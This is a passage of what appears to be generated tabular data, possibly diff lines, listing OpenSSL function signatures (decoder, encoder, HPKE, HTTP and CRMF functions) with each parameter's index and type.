| d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO | 0 | OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO ** | +| (OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long) | | d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO | 1 | const unsigned char ** | +| (OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long) | | d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO | 2 | long | +| (OSSL_CRMF_PRIVATEKEYINFO *) | | OSSL_CRMF_PRIVATEKEYINFO_free | 0 | OSSL_CRMF_PRIVATEKEYINFO * | +| (OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long) | | d2i_OSSL_CRMF_PRIVATEKEYINFO | 0 | OSSL_CRMF_PRIVATEKEYINFO ** | +| (OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long) | | d2i_OSSL_CRMF_PRIVATEKEYINFO | 1 | const unsigned char ** | +| (OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long) | | d2i_OSSL_CRMF_PRIVATEKEYINFO | 2 | long | +| (OSSL_CRMF_SINGLEPUBINFO *) | | OSSL_CRMF_SINGLEPUBINFO_free | 0 | OSSL_CRMF_SINGLEPUBINFO * | +| (OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long) | | d2i_OSSL_CRMF_SINGLEPUBINFO | 0 | OSSL_CRMF_SINGLEPUBINFO ** | +| (OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long) | | d2i_OSSL_CRMF_SINGLEPUBINFO | 1 | const unsigned char ** | +| (OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long) | | d2i_OSSL_CRMF_SINGLEPUBINFO | 2 | long | +| (OSSL_CRMF_SINGLEPUBINFO *,int,GENERAL_NAME *) | | OSSL_CRMF_MSG_set0_SinglePubInfo | 0 | OSSL_CRMF_SINGLEPUBINFO * | +| (OSSL_CRMF_SINGLEPUBINFO *,int,GENERAL_NAME *) | | OSSL_CRMF_MSG_set0_SinglePubInfo | 1 | int | +| (OSSL_CRMF_SINGLEPUBINFO *,int,GENERAL_NAME *) | | OSSL_CRMF_MSG_set0_SinglePubInfo | 2 | GENERAL_NAME * | +| (OSSL_DAY_TIME *) | | OSSL_DAY_TIME_free | 0 | OSSL_DAY_TIME * | +| (OSSL_DAY_TIME **,const unsigned char **,long) | | d2i_OSSL_DAY_TIME | 0 | OSSL_DAY_TIME ** | +| (OSSL_DAY_TIME **,const unsigned char **,long) | | d2i_OSSL_DAY_TIME | 1 | const unsigned char ** | +| (OSSL_DAY_TIME **,const unsigned char **,long) | | d2i_OSSL_DAY_TIME | 2 | long | +| (OSSL_DAY_TIME_BAND *) | | OSSL_DAY_TIME_BAND_free | 0 | OSSL_DAY_TIME_BAND * | +| (OSSL_DAY_TIME_BAND **,const unsigned char **,long) | | d2i_OSSL_DAY_TIME_BAND | 0 | OSSL_DAY_TIME_BAND ** | +| (OSSL_DAY_TIME_BAND **,const unsigned char **,long) | | d2i_OSSL_DAY_TIME_BAND | 1 | const unsigned char ** | +| (OSSL_DAY_TIME_BAND **,const unsigned char **,long) | | d2i_OSSL_DAY_TIME_BAND | 2 | long | +| (OSSL_DECODER *,const char *,int *) | | ossl_decoder_fast_is_a | 0 | OSSL_DECODER * | +| (OSSL_DECODER *,const char *,int *) | | ossl_decoder_fast_is_a | 1 | const char * | +| (OSSL_DECODER *,const char *,int *) | | ossl_decoder_fast_is_a | 2 | int * | +| (OSSL_DECODER *,void *) | | ossl_decoder_instance_new | 0 | OSSL_DECODER * | +| (OSSL_DECODER *,void *) | | ossl_decoder_instance_new | 1 | void * | +| (OSSL_DECODER *,void *,const char *) | | ossl_decoder_instance_new_forprov | 0 | OSSL_DECODER * | +| (OSSL_DECODER *,void *,const char *) | | ossl_decoder_instance_new_forprov | 1 | void * | +| (OSSL_DECODER *,void *,const char *) | | ossl_decoder_instance_new_forprov | 2 | const char * | +| (OSSL_DECODER_CTX *) | | OSSL_DECODER_CTX_get_cleanup | 0 | OSSL_DECODER_CTX * | +| (OSSL_DECODER_CTX *) | | OSSL_DECODER_CTX_get_construct | 0 | OSSL_DECODER_CTX * | +| (OSSL_DECODER_CTX *) | | OSSL_DECODER_CTX_get_construct_data | 0 | OSSL_DECODER_CTX * | +| (OSSL_DECODER_CTX *) | | OSSL_DECODER_CTX_get_num_decoders | 0 | OSSL_DECODER_CTX * | +| (OSSL_DECODER_CTX *,BIO *) | | OSSL_DECODER_from_bio | 0 | OSSL_DECODER_CTX * | +| (OSSL_DECODER_CTX *,BIO *) | | OSSL_DECODER_from_bio | 1 | BIO * | +| (OSSL_DECODER_CTX *,OSSL_DECODER_CLEANUP *) | | OSSL_DECODER_CTX_set_cleanup | 0 | OSSL_DECODER_CTX * | +| (OSSL_DECODER_CTX *,OSSL_DECODER_CLEANUP *) | | OSSL_DECODER_CTX_set_cleanup | 1 | OSSL_DECODER_CLEANUP * | +| (OSSL_DECODER_CTX *,OSSL_DECODER_CONSTRUCT *) | | OSSL_DECODER_CTX_set_construct | 0 | OSSL_DECODER_CTX * | +| (OSSL_DECODER_CTX *,OSSL_DECODER_CONSTRUCT *) | | OSSL_DECODER_CTX_set_construct | 1 | OSSL_DECODER_CONSTRUCT * | +| (OSSL_DECODER_CTX *,OSSL_DECODER_INSTANCE *) | | ossl_decoder_ctx_add_decoder_inst | 0 | OSSL_DECODER_CTX * | +| (OSSL_DECODER_CTX *,OSSL_DECODER_INSTANCE *) | | ossl_decoder_ctx_add_decoder_inst | 1 | OSSL_DECODER_INSTANCE * | +| (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_structure | 0 | OSSL_DECODER_CTX * | +| (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_structure | 1 | const char * | +| (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_type | 0 | OSSL_DECODER_CTX * | +| (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_type | 1 | const char * | +| (OSSL_DECODER_CTX *,const unsigned char **,size_t *) | | OSSL_DECODER_from_data | 0 | OSSL_DECODER_CTX * | +| (OSSL_DECODER_CTX *,const unsigned char **,size_t *) | | OSSL_DECODER_from_data | 1 | const unsigned char ** | +| (OSSL_DECODER_CTX *,const unsigned char **,size_t *) | | OSSL_DECODER_from_data | 2 | size_t * | +| (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 0 | OSSL_DECODER_CTX * | +| (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | int | +| (OSSL_DECODER_CTX *,void *) | | OSSL_DECODER_CTX_set_construct_data | 0 | OSSL_DECODER_CTX * | +| (OSSL_DECODER_CTX *,void *) | | OSSL_DECODER_CTX_set_construct_data | 1 | void * | +| (OSSL_DECODER_INSTANCE *) | | OSSL_DECODER_INSTANCE_get_decoder | 0 | OSSL_DECODER_INSTANCE * | +| (OSSL_DECODER_INSTANCE *) | | OSSL_DECODER_INSTANCE_get_decoder_ctx | 0 | OSSL_DECODER_INSTANCE * | +| (OSSL_DECODER_INSTANCE *) | | OSSL_DECODER_INSTANCE_get_input_type | 0 | OSSL_DECODER_INSTANCE * | +| (OSSL_DECODER_INSTANCE *,int *) | | OSSL_DECODER_INSTANCE_get_input_structure | 0 | OSSL_DECODER_INSTANCE * | +| (OSSL_DECODER_INSTANCE *,int *) | | OSSL_DECODER_INSTANCE_get_input_structure | 1 | int * | +| (OSSL_ENCODER_CTX *) | | OSSL_ENCODER_CTX_get_num_encoders | 0 | OSSL_ENCODER_CTX * | +| (OSSL_ENCODER_CTX *,OSSL_ENCODER_CLEANUP *) | | OSSL_ENCODER_CTX_set_cleanup | 0 | OSSL_ENCODER_CTX * | +| (OSSL_ENCODER_CTX *,OSSL_ENCODER_CLEANUP *) | | OSSL_ENCODER_CTX_set_cleanup | 1 | OSSL_ENCODER_CLEANUP * | +| (OSSL_ENCODER_CTX *,OSSL_ENCODER_CONSTRUCT *) | | OSSL_ENCODER_CTX_set_construct | 0 | OSSL_ENCODER_CTX * | +| (OSSL_ENCODER_CTX *,OSSL_ENCODER_CONSTRUCT *) | | OSSL_ENCODER_CTX_set_construct | 1 | OSSL_ENCODER_CONSTRUCT * | +| (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_structure | 0 | OSSL_ENCODER_CTX * | +| (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_structure | 1 | const char * | +| (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_type | 0 | OSSL_ENCODER_CTX * | +| (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_type | 1 | const char * | +| (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 0 | OSSL_ENCODER_CTX * | +| (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | int | +| (OSSL_ENCODER_CTX *,unsigned char **,size_t *) | | OSSL_ENCODER_to_data | 0 | OSSL_ENCODER_CTX * | +| (OSSL_ENCODER_CTX *,unsigned char **,size_t *) | | OSSL_ENCODER_to_data | 1 | unsigned char ** | +| (OSSL_ENCODER_CTX *,unsigned char **,size_t *) | | OSSL_ENCODER_to_data | 2 | size_t * | +| (OSSL_ENCODER_CTX *,void *) | | OSSL_ENCODER_CTX_set_construct_data | 0 | OSSL_ENCODER_CTX * | +| (OSSL_ENCODER_CTX *,void *) | | OSSL_ENCODER_CTX_set_construct_data | 1 | void * | +| (OSSL_ENCODER_INSTANCE *) | | OSSL_ENCODER_INSTANCE_get_encoder | 0 | OSSL_ENCODER_INSTANCE * | +| (OSSL_ENCODER_INSTANCE *) | | OSSL_ENCODER_INSTANCE_get_encoder_ctx | 0 | OSSL_ENCODER_INSTANCE * | +| (OSSL_ENCODER_INSTANCE *) | | OSSL_ENCODER_INSTANCE_get_output_structure | 0 | OSSL_ENCODER_INSTANCE * | +| (OSSL_ENCODER_INSTANCE *) | | OSSL_ENCODER_INSTANCE_get_output_type | 0 | OSSL_ENCODER_INSTANCE * | +| (OSSL_HASH *) | | OSSL_HASH_free | 0 | OSSL_HASH * | +| (OSSL_HASH **,const unsigned char **,long) | | d2i_OSSL_HASH | 0 | OSSL_HASH ** | +| (OSSL_HASH **,const unsigned char **,long) | | d2i_OSSL_HASH | 1 | const unsigned char ** | +| (OSSL_HASH **,const unsigned char **,long) | | d2i_OSSL_HASH | 2 | long | +| (OSSL_HPKE_CTX *,EVP_PKEY *) | | OSSL_HPKE_CTX_set1_authpriv | 0 | OSSL_HPKE_CTX * | +| (OSSL_HPKE_CTX *,EVP_PKEY *) | | OSSL_HPKE_CTX_set1_authpriv | 1 | EVP_PKEY * | +| (OSSL_HPKE_CTX *,const char *,const unsigned char *,size_t) | | OSSL_HPKE_CTX_set1_psk | 0 | OSSL_HPKE_CTX * | +| (OSSL_HPKE_CTX *,const char *,const unsigned char *,size_t) | | OSSL_HPKE_CTX_set1_psk | 1 | const char * | +| (OSSL_HPKE_CTX *,const char *,const unsigned char *,size_t) | | OSSL_HPKE_CTX_set1_psk | 2 | const unsigned char * | +| (OSSL_HPKE_CTX *,const char *,const unsigned char *,size_t) | | OSSL_HPKE_CTX_set1_psk | 3 | size_t | +| (OSSL_HPKE_CTX *,const unsigned char *,size_t) | | OSSL_HPKE_CTX_set1_ikme | 0 | OSSL_HPKE_CTX * | +| (OSSL_HPKE_CTX *,const unsigned char *,size_t) | | OSSL_HPKE_CTX_set1_ikme | 1 | const unsigned char * | +| (OSSL_HPKE_CTX *,const unsigned char *,size_t) | | OSSL_HPKE_CTX_set1_ikme | 2 | size_t | +| (OSSL_HPKE_CTX *,uint64_t *) | | OSSL_HPKE_CTX_get_seq | 0 | OSSL_HPKE_CTX * | +| (OSSL_HPKE_CTX *,uint64_t *) | | OSSL_HPKE_CTX_get_seq | 1 | uint64_t * | +| (OSSL_HPKE_CTX *,uint64_t) | | OSSL_HPKE_CTX_set_seq | 0 | OSSL_HPKE_CTX * | +| (OSSL_HPKE_CTX *,uint64_t) | | OSSL_HPKE_CTX_set_seq | 1 | uint64_t | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_encap | 0 | OSSL_HPKE_CTX * | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_encap | 1 | unsigned char * | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_encap | 2 | size_t * | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_encap | 3 | const unsigned char * | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_encap | 4 | size_t | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_encap | 5 | const unsigned char * | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_encap | 6 | size_t | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_open | 0 | OSSL_HPKE_CTX * | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_open | 1 | unsigned char * | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_open | 2 | size_t * | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_open | 3 | const unsigned char * | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_open | 4 | size_t | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_open | 5 | const unsigned char * | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_open | 6 | size_t | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_seal | 0 | OSSL_HPKE_CTX * | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_seal | 1 | unsigned char * | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_seal | 2 | size_t * | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_seal | 3 | const unsigned char * | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_seal | 4 | size_t | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_seal | 5 | const unsigned char * | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_seal | 6 | size_t | +| (OSSL_HPKE_SUITE,size_t) | | OSSL_HPKE_get_ciphertext_size | 0 | OSSL_HPKE_SUITE | +| (OSSL_HPKE_SUITE,size_t) | | OSSL_HPKE_get_ciphertext_size | 1 | size_t | +| (OSSL_HPKE_SUITE,unsigned char *,size_t *,EVP_PKEY **,const unsigned char *,size_t,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_keygen | 0 | OSSL_HPKE_SUITE | +| (OSSL_HPKE_SUITE,unsigned char *,size_t *,EVP_PKEY **,const unsigned char *,size_t,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_keygen | 1 | unsigned char * | +| (OSSL_HPKE_SUITE,unsigned char *,size_t *,EVP_PKEY **,const unsigned char *,size_t,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_keygen | 2 | size_t * | +| (OSSL_HPKE_SUITE,unsigned char *,size_t *,EVP_PKEY **,const unsigned char *,size_t,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_keygen | 3 | EVP_PKEY ** | +| (OSSL_HPKE_SUITE,unsigned char *,size_t *,EVP_PKEY **,const unsigned char *,size_t,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_keygen | 4 | const unsigned char * | +| (OSSL_HPKE_SUITE,unsigned char *,size_t *,EVP_PKEY **,const unsigned char *,size_t,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_keygen | 5 | size_t | +| (OSSL_HPKE_SUITE,unsigned char *,size_t *,EVP_PKEY **,const unsigned char *,size_t,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_keygen | 6 | OSSL_LIB_CTX * | +| (OSSL_HPKE_SUITE,unsigned char *,size_t *,EVP_PKEY **,const unsigned char *,size_t,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_keygen | 7 | const char * | +| (OSSL_HTTP_REQ_CTX *) | | OSSL_HTTP_REQ_CTX_exchange | 0 | OSSL_HTTP_REQ_CTX * | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 0 | OSSL_HTTP_REQ_CTX ** | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 1 | const char * | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 2 | const char * | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 3 | const char * | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 4 | int | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 5 | const char * | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 6 | const char * | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 7 | BIO * | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 8 | BIO * | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 9 | OSSL_HTTP_bio_cb_t | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 10 | void * | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 11 | int | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 12 | const stack_st_CONF_VALUE * | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 13 | const char * | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 14 | BIO * | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 15 | const char * | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 16 | int | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 17 | size_t | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 18 | int | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 19 | int | +| (OSSL_HTTP_REQ_CTX *,ASN1_VALUE **,const ASN1_ITEM *) | | OSSL_HTTP_REQ_CTX_nbio_d2i | 0 | OSSL_HTTP_REQ_CTX * | +| (OSSL_HTTP_REQ_CTX *,ASN1_VALUE **,const ASN1_ITEM *) | | OSSL_HTTP_REQ_CTX_nbio_d2i | 1 | ASN1_VALUE ** | +| (OSSL_HTTP_REQ_CTX *,ASN1_VALUE **,const ASN1_ITEM *) | | OSSL_HTTP_REQ_CTX_nbio_d2i | 2 | const ASN1_ITEM * | +| (OSSL_HTTP_REQ_CTX *,char **) | | OSSL_HTTP_exchange | 0 | OSSL_HTTP_REQ_CTX * | +| (OSSL_HTTP_REQ_CTX *,char **) | | OSSL_HTTP_exchange | 1 | char ** | +| (OSSL_HTTP_REQ_CTX *,const char *,const ASN1_ITEM *,const ASN1_VALUE *) | | OSSL_HTTP_REQ_CTX_set1_req | 0 | OSSL_HTTP_REQ_CTX * | +| (OSSL_HTTP_REQ_CTX *,const char *,const ASN1_ITEM *,const ASN1_VALUE *) | | OSSL_HTTP_REQ_CTX_set1_req | 1 | const char * | +| (OSSL_HTTP_REQ_CTX *,const char *,const ASN1_ITEM *,const ASN1_VALUE *) | | OSSL_HTTP_REQ_CTX_set1_req | 2 | const ASN1_ITEM * | +| (OSSL_HTTP_REQ_CTX *,const char *,const ASN1_ITEM *,const ASN1_VALUE *) | | OSSL_HTTP_REQ_CTX_set1_req | 3 | const ASN1_VALUE * | +| (OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_set1_request | 0 | OSSL_HTTP_REQ_CTX * | +| (OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_set1_request | 1 | const char * | +| (OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_set1_request | 2 | const stack_st_CONF_VALUE * | +| (OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_set1_request | 3 | const char * | +| (OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_set1_request | 4 | BIO * | +| (OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_set1_request | 5 | const char * | +| (OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_set1_request | 6 | int | +| (OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_set1_request | 7 | size_t | +| (OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_set1_request | 8 | int | +| (OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_set1_request | 9 | int | +| (OSSL_HTTP_REQ_CTX *,const char *,int,int,int) | | OSSL_HTTP_REQ_CTX_set_expected | 0 | OSSL_HTTP_REQ_CTX * | +| (OSSL_HTTP_REQ_CTX *,const char *,int,int,int) | | OSSL_HTTP_REQ_CTX_set_expected | 1 | const char * | +| (OSSL_HTTP_REQ_CTX *,const char *,int,int,int) | | OSSL_HTTP_REQ_CTX_set_expected | 2 | int | +| (OSSL_HTTP_REQ_CTX *,const char *,int,int,int) | | OSSL_HTTP_REQ_CTX_set_expected | 3 | int | +| (OSSL_HTTP_REQ_CTX *,const char *,int,int,int) | | OSSL_HTTP_REQ_CTX_set_expected | 4 | int | +| (OSSL_HTTP_REQ_CTX *,int,const char *,const char *,const char *) | | OSSL_HTTP_REQ_CTX_set_request_line | 0 | OSSL_HTTP_REQ_CTX * | +| (OSSL_HTTP_REQ_CTX *,int,const char *,const char *,const char *) | | OSSL_HTTP_REQ_CTX_set_request_line | 1 | int | +| (OSSL_HTTP_REQ_CTX *,int,const char *,const char *,const char *) | | OSSL_HTTP_REQ_CTX_set_request_line | 2 | const char * | +| (OSSL_HTTP_REQ_CTX *,int,const char *,const char *,const char *) | | OSSL_HTTP_REQ_CTX_set_request_line | 3 | const char * | +| (OSSL_HTTP_REQ_CTX *,int,const char *,const char *,const char *) | | OSSL_HTTP_REQ_CTX_set_request_line | 4 | const char * | +| (OSSL_HTTP_REQ_CTX *,size_t) | | OSSL_HTTP_REQ_CTX_set_max_response_hdr_lines | 0 | OSSL_HTTP_REQ_CTX * | +| (OSSL_HTTP_REQ_CTX *,size_t) | | OSSL_HTTP_REQ_CTX_set_max_response_hdr_lines | 1 | size_t | +| (OSSL_HTTP_REQ_CTX *,unsigned long) | | OSSL_HTTP_REQ_CTX_set_max_response_length | 0 | OSSL_HTTP_REQ_CTX * | +| (OSSL_HTTP_REQ_CTX *,unsigned long) | | OSSL_HTTP_REQ_CTX_set_max_response_length | 1 | unsigned long | +| (OSSL_IETF_ATTR_SYNTAX *) | | OSSL_IETF_ATTR_SYNTAX_free | 0 | OSSL_IETF_ATTR_SYNTAX * | +| (OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_IETF_ATTR_SYNTAX | 0 | OSSL_IETF_ATTR_SYNTAX ** | +| (OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_IETF_ATTR_SYNTAX | 1 | const unsigned char ** | +| (OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_IETF_ATTR_SYNTAX | 2 | long | +| (OSSL_IETF_ATTR_SYNTAX *,GENERAL_NAMES *) | | OSSL_IETF_ATTR_SYNTAX_set0_policyAuthority | 0 | OSSL_IETF_ATTR_SYNTAX * | +| (OSSL_IETF_ATTR_SYNTAX *,GENERAL_NAMES *) | | OSSL_IETF_ATTR_SYNTAX_set0_policyAuthority | 1 | GENERAL_NAMES * | +| (OSSL_IETF_ATTR_SYNTAX *,int,void *) | | OSSL_IETF_ATTR_SYNTAX_add1_value | 0 | OSSL_IETF_ATTR_SYNTAX * | +| (OSSL_IETF_ATTR_SYNTAX *,int,void *) | | 